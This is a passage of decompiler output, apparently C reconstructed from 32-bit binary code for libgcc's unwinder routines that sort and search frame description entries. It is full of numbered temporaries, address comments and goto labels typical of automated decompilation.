v164; v28 = v166; // continue -> 0x80a8bd5 continue; } lab_0x6c9e670: // 0x80a8bfe g102 = v88; // branch -> 0x80a8746 // 0x80a8746 *v18 = v80; g96 = v88; v19 = (int32_t *)(v88 + 4); *v19 = v162; v57 = g102; v73 = (int32_t)(int32_t *)v38; g101 = v73; v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4); g95 = v16; if (v16 != v56) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } // 0x80a8773 g96 = v57; g97 = v117; g95 = (int32_t)v4; frame_heapsort(a1, 0, 0); v96 = v38; v95 = (int32_t)v96; v97 = *v19; g96 = v97; int32_t * v167 = (int32_t *)0x80a8783; // bp+052 if (v97 != 0) { // 0x80a879d v125 = v95 + 8; v53 = (int32_t *)0x80a8783; v22 = (int32_t *)(v88 + 8 + 4 * v97); v99 = v97; v110 = v96->e1; // branch -> 0x80a87cf int32_t * v168; // 0x80a8867_0 int32_t * v169; // bp+049 while (true) { // 0x80a87cf v128 = v99 - 1; v20 = (int32_t *)((int32_t)v22 - 4); v21 = (struct struct_118 *)*v20; v41 = v21; v98 = (int32_t)v110; v52 = v53; v109 = NULL; int32_t v170; // 0x80a87b6 if (v110 != NULL) { lab_0x6ca6790: // 0x80a87e7 g96 = v98; int32_t v171 = 4 * v98 + v125; // 0x80a87ed g101 = v171; uint32_t v172 = v98 + v128; // 0x80a87f3 g1 = v172 < v98; g97 = v95; int32_t v173 = 4 * v172 + v125; // 0x80a87f9 g95 = v173; struct struct_118 * v174 = v21; // 0x80a8810_0 int32_t v175 = v98; // branch -> 0x80a880b while (true) { int32_t v176 = v175 - 1; // 0x80a880e g103 = v176 == 0; g102 = v176; int32_t * v177 = (int32_t *)v173; // 0x80a880f_0 int32_t v178 = *(int32_t *)(v171 - 4); // 0x80a8813 ((int32_t (*)(int32_t, int32_t, int32_t, int32_t))v117)((int32_t)v4, v178, (int32_t)v174, v173); if (g95 < 1) { // 0x80a8c0f v52 = v177; v109 = (int32_t *)v175; // branch -> 0x80a87b0 // 0x80a87b0 v170 = (int32_t)v41; g96 = v170; *(int32_t *)(4 * ((int32_t)v109 + v128) + v125) = v170; if (v128 == 0) { v169 = v52; // break (via goto) -> 0x80a8861 goto lab_0x6cedc50; } v53 = v52; v22 = v20; v99 = v128; v110 = v109; // continue (via goto) -> 0x80a87cf goto lab_0x7037c30; } else { int32_t v179 = *(int32_t *)(g101 - 4); // 0x80a882a g95 = v179; *(int32_t *)v173 = v179; int32_t v180 = g101 - 4; // 0x80a8832 g101 = v180; g96 = v173 - 4; int32_t v181 = g102; // 0x80a883b g1 = false; if (v181 == 0) { int32_t v182 = (int32_t)v41; // 0x80a8848 g96 = v182; *(int32_t *)(4 * v128 + v125) = v182; if (v128 == 0) { v169 = v177; // break (via goto) -> 0x80a8861 goto lab_0x6cedc50; } v53 = v177; v22 = v20; v99 = v128; v110 = NULL; // continue (via goto) -> 0x80a87cf goto lab_0x7037c30; } else { // 0x80a882a v171 = v180; v174 = v41; v173 = g95; v175 = v181; // branch -> 0x80a880b continue; } } int32_t v183 = *v19; // 0x80a8864 int32_t v184; int32_t v185 = v184; // 0x80a8867 v168 = (int32_t *)(v185 + 4); int32_t v186 = *v168; // 0x80a8867 *v168 = v186 + v183; v167 = v169; // branch -> 0x80a886a // 0x80a886a free(v17); v49 = v167; v120 = (int32_t *)0x80a8875; // branch -> 0x80a8878 // 0x80a8878 v100 = v38; v184 = (int32_t)v100; v147 = v4; v58 = (int32_t)v147; v23 = (int32_t *)(v58 + 12); int32_t v187 = *v23; // 0x80a8881 v100->e0 = (int32_t *)v187; int32_t v188 = v184; // 0x80a8886 *v23 = v188; v24 = (char *)(v58 + 16); char v189 = *v24; // 0x80a8889 *v24 = v189 | 1; v51 = v49; v119 = v120; v148 = (int32_t *)v147; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; uint32_t v190 = *(int32_t *)v75; // 0x80a8899 int32_t * v191; // bp+053 if (v5 < v190) { v191 = v51; v150 = 0; v149 = v148; // 0x80a8943 g95 = v150; v146 = g100; v145 = (int32_t)v191; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v149; } unsigned char v192 = *(char *)(v74 + 16); // 0x80a88a1 v129 = (int32_t)v192 | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; int32_t v193 = g99; // 0x80a8d21139 v1 = (struct struct_118 *)0x80a8d26; g99 = v193 - 4; int32_t v194 = a1; // 0x80a8d21141 v151 = linear_search_fdes(v194, 0, 0); if (v151 == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { lab_0x6cbc6c0: // 0x80a8d31 g95 = (int32_t)v4; g99 -= 4; v150 = linear_search_fdes(a1, 0, 0); if (v150 != 0) { // break -> 0x80a8943 break; } // continue -> 0x80a8d31 continue; } else { v150 = 0; } } // 0x80a8943 g95 = v150; v146 = g100; v145 = (int32_t)v51; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v6; } v191 = v51; v150 = v151; v149 = v6; } else { v191 = v51; v150 = 0; v149 = v148; } // 0x80a8943 g95 = v150; v146 = g100; v145 = (int32_t)v191; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v149; } struct struct_118 * v195 = v75; // 0x80a89f0_0 v121 = v129; v48 = v51; v118 = v119; int32_t * v196 = v148; // bp+011 // 0x80a88d4 v76 = (int32_t)v195; if ((v121 & 4) != 0) { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d int32_t * v197; // bp+029 while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 += 12; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); int32_t * v198; // 0x80a8c94_5 int32_t * v199; // bp+031 if (v113 > v5) { lab_0x6ce48f0: // 0x80a8d59 v199 = (int32_t *)g102; v197 = v114; // branch -> 0x80a8cd3 lab_0x6ce5c10: // 0x80a8cd3 if (v199 <= v197) { // break -> 0x80a8943 break; } v31 = v199; v114 = v197; // continue -> 0x80a8c4d continue; } else { lab_0x6ce6200: // 0x80a8cc0 v198 = (int32_t *)v34; if ((int32_t)v118 + v113 <= v5) { // 0x80a8ccf v199 = v31; v197 = (int32_t *)(g102 + 1); // branch -> 0x80a8cd3 goto lab_0x6ce5c10; } } // 0x80a8943 g95 = v124; v146 = g100; v145 = (int32_t)v48; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v198; } // 0x80a8943 g95 = 0; v146 = g100; v145 = (int32_t)v48; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v197; } v191 = v48; v150 = 0; v149 = v30; // 0x80a8943 g95 = v150; v146 = g100; v145 = (int32_t)v191; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v149; } uint16_t v200 = *(int16_t *)(v76 + 16); // 0x80a88e2 v130 = (int32_t)v200 | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); int32_t v201; // 0x80a8938 int32_t v202; // 0x80a8938 if (v5 < v103) { lab_0x6cc57e0: // 0x80a8ad9 v202 = v55; v201 = v44; // branch -> 0x80a8938 lab_0x6cc6690: // 0x80a8938 if (v201 <= v202) { // break -> 0x80a8943 break; } v85 = v201; v55 = v202; // continue -> 0x80a8900 continue; } else { lab_0x6cc77a0: // 0x80a8927 if (v5 >= *(int32_t *)(v122 + 12) + v103) { // 0x80a8935 v202 = v44 + 1; v201 = v85; // branch -> 0x80a8938 goto lab_0x6cc6690; } } // 0x80a8943 // branch -> 0x80a8943 // 0x80a8943 g95 = v122; v146 = g100; v145 = (int32_t)v48; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v25; } // 0x80a8943 // branch -> 0x80a8943 // 0x80a8943 g95 = 0; v146 = g100; v145 = (int32_t)v48; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v25; } v191 = v48; v150 = 0; v149 = v196; } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); int32_t * v203 = (int32_t *)v104; // 0x80a89e3_0 v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; int32_t v204 = g99; // 0x80a89f6 v1 = (struct struct_118 *)0x80a89fb; g99 = v204 - 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 int32_t v205; // 0x80a8a90 v123 = *(int32_t *)(v127 + 4 * (v107 + v205) / 2); g96 = v123 + 8; g95 = v35; g99 -= 4; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); int32_t v206; // 0x80a8a9033 if (v106 > v5) { lab_0x6cd4070: // 0x80a8cf9 v205 = g101; v206 = v107; // branch -> 0x80a8a90 lab_0x6cd5150: // 0x80a8a90 if (v206 >= v205) { // break -> 0x80a8943 break; } v107 = v206; // continue -> 0x80a8a30 continue; } else { lab_0x6cd67b0: // 0x80a8a7d if (v106 + (int32_t)v37 <= v5) { // 0x80a8a8c v205 = g102; v206 = g101 + 1; // branch -> 0x80a8a90 goto lab_0x6cd5150; } } // 0x80a8943 g95 = v123; v146 = g100; v145 = (int32_t)v48; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v26; } // 0x80a8943 g95 = 0; v146 = g100; v145 = (int32_t)v48; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v26; } v191 = v48; v150 = 0; v149 = v203; } // 0x80a8943 g95 = v150; v146 = g100; v145 = (int32_t)v191; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v149; } } lab_0x6cebf10: // 0x80a87b0 v170 = (int32_t)v21; g96 = v170; *(int32_t *)(4 * ((int32_t)v109 + v128) + v125) = v170; if (v128 == 0) { v169 = v52; // break -> 0x80a8861 break; } v53 = v52; v22 = v20; v99 = v128; v110 = v109; // continue -> 0x80a87cf } lab_0x6cedc50: // 0x80a8861 v168 = (int32_t *)(v95 + 4); *v168 = *v168 + *v19; v167 = v169; // branch -> 0x80a886a } // 0x80a886a free(v17); // branch -> 0x80a8878 // 0x80a8878 v100 = v38; v147 = v4; v58 = (int32_t)v147; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v167; v148 = (int32_t *)v147; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // 0x80a8943 g95 = 0; v146 = g100; v145 = (int32_t)v51; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v148; } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; g99 -= 4; v151 = linear_search_fdes(a1, 0, 0); if (v151 == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // 0x80a8943 g95 = 0; v146 = g100; v145 = (int32_t)v51; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v6; } } else { v150 = v151; v149 = v6; } } else { v150 = 0; v149 = v148; } // 0x80a8943 g95 = v150; v146 = g100; v145 = (int32_t)v51; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v149; } v121 = v129; v48 = v51; v118 = (int32_t *)0x80a8875; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) != 0) { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } // 0x80a8943 g95 = 0; v146 = g100; v145 = (int32_t)v48; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v30; } // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } else { v149 = v148; } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v105) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } else { v149 = (int32_t *)v104; } } // 0x80a8943 g95 = 0; v146 = g100; v145 = (int32_t)v48; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v149; } } } // 0x80a8b85 v32 = 0; v87 = 0; v82 = 0; v81 = 0; v29 = (int32_t *)v93; // branch -> 0x80a8bd5 while (true) { // 0x80a8bd5 v86 = v87; v80 = v81; v28 = v29; // branch -> 0x80a8bd5 goto lab_0x6d0fe20; } } // 0x80a8746 *v18 = 0; g96 = v88; v19 = (int32_t *)(v88 + 4); *v19 = 0; v57 = g102; v73 = (int32_t)(int32_t *)v93; g101 = v73; v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4); g95 = v16; if (v16 != v56) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } // 0x80a8773 g96 = v57; g97 = v117; g95 = (int32_t)v4; frame_heapsort(a1, 0, 0); v96 = v38; v95 = (int32_t)v96; v97 = *v19; g96 = v97; if (v97 != 0) { // 0x80a879d v125 = v95 + 8; v22 = (int32_t *)(v88 + 8 + 4 * v97); v110 = v96->e1; // branch -> 0x80a87cf while (true) { // 0x80a87cf v128 = v97 - 1; v20 = (int32_t *)((int32_t)v22 - 4); v21 = (struct struct_118 *)*v20; v41 = v21; v98 = (int32_t)v110; if (v110 == NULL) { v52 = (int32_t *)0x80a8783; v109 = NULL; goto lab_0x6cebf10; } goto lab_0x6ca6790; } } // 0x80a886a free(v17); // branch -> 0x80a8878 // 0x80a8878 v100 = v38; v147 = v4; v58 = (int32_t)v147; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = (int32_t *)0x80a8783; v148 = (int32_t *)v147; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // 0x80a8943 g95 = 0; v146 = g100; v145 = (int32_t)v51; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v148; } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; g99 -= 4; v151 = linear_search_fdes(a1, 0, 0); if (v151 == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // 0x80a8943 g95 = 0; v146 = g100; v145 = (int32_t)v51; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v6; } } else { v150 = v151; v149 = v6; } } else { v150 = 0; v149 = v148; } // 0x80a8943 g95 = v150; v146 = g100; v145 = (int32_t)v51; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v149; } v121 = v129; v48 = v51; v118 = (int32_t *)0x80a8875; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) != 0) { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } // 0x80a8943 g95 = 0; v146 = g100; v145 = (int32_t)v48; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v30; } // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } else { v149 = v148; } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v105) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } else { v149 = (int32_t *)v104; } } // 0x80a8943 g95 = 0; v146 = g100; v145 = (int32_t)v48; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v149; } // 0x80a8d40 g96 = v92; g97 = v117; g95 = v71; v1 = (struct struct_118 *)0x80a8d54; g99 -= 4; frame_heapsort(a1, 0, 0); // branch -> 0x80a8878 // 0x80a8878 v100 = v38; v147 = v4; v58 = (int32_t)v147; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v50; v148 = (int32_t *)v147; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // 0x80a8943 g95 = 0; v146 = g100; v145 = (int32_t)v51; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v148; } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 != 1) { v121 = v129; v48 = v51; v118 = (int32_t *)0x80a8693; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) != 0) { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } // 0x80a8943 g95 = 0; v146 = g100; v145 = (int32_t)v48; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v30; } // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } else { v149 = v148; } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v105) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } else { v149 = (int32_t *)v104; } } // 0x80a8943 g95 = 0; v146 = g100; v145 = (int32_t)v48; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v149; } // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; v1 = (struct struct_118 *)0x80a8d26; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // 0x80a8943 g95 = 0; v146 = g100; v145 = (int32_t)v51; g98 = v145; g101 = v145; g102 = v145; g100 = v145; g99 = v146 + 8; return (int32_t)v6; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a870a v43 = g98; v46 = v43; v117 = v43 - 0x887a4; // branch -> 0x80a8713 } // 0x80a8713 g102 = v88; if (v88 == 0) { // 0x80a8d40 g96 = v92; g97 = v117; g95 = v71; v1 = (struct struct_118 *)0x80a8d54; g99 -= 4; frame_heapsort(a1, 0, 0); v49 = v50; v120 = (int32_t *)0x80a8693; // branch -> 0x80a8878 } else { // 0x80a8721 v18 = (int32_t *)(v92 + 4); v94 = *v18; if (v94 != 0) { // 0x80a8b00 v61 = v46 + 0x7888; v36 = (struct struct_118 *)v61; v12 = v92 + 8; *(int32_t *)(v88 + 8) = v61; v14 = v12; g101 = v14; g96 = 1; if (v94 != 1) { v11 = 1; v15 = v14; while (true) { // 0x80a8b44 v108 = (int32_t)v36; g1 = v15 < v108; g103 = v15 == v108; if (v15 == v108) { goto lab_0x6c94920; } goto lab_0xafb6150; } } // 0x80a8b85 v32 = 0; v87 = 0; v82 = 0; v81 = 0; v29 = (int32_t *)v93; // branch -> 0x80a8bd5 while (true) { // 0x80a8bd5 v86 = v87; v80 = v81; v28 = v29; // branch -> 0x80a8bd5 goto lab_0x6d0fe20; } } // 0x80a8746 *v18 = 0; g96 = v88; v19 = (int32_t *)(v88 + 4); *v19 = 0; v57 = g102; v73 = (int32_t)(int32_t *)v93; g101 = v73; v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4); g95 = v16; if (v16 != v56) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } // 0x80a8773 g96 = v57; g97 = v117; g95 = (int32_t)v4; frame_heapsort(a1, 0, 0); v96 = v38; v95 = (int32_t)v96; v97 = *v19; g96 = v97; if (v97 != 0) { // 0x80a879d v125 = v95 + 8; v22 = (int32_t *)(v88 + 8 + 4 * v97); v110 = v96->e1; // branch -> 0x80a87cf while (true) { // 0x80a87cf v128 = v97 - 1; v20 = (int32_t *)((int32_t)v22 - 4); v21 = (struct struct_118 *)*v20; v41 = v21; v98 = (int32_t)v110; if (v110 == NULL) { v52 = (int32_t *)0x80a8783; v109 = NULL; goto lab_0x6cebf10; } goto lab_0x6ca6790; } } // 0x80a886a free(v17); v49 = (int32_t *)0x80a8783; v120 = (int32_t *)0x80a8875; // branch -> 0x80a8878 // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = 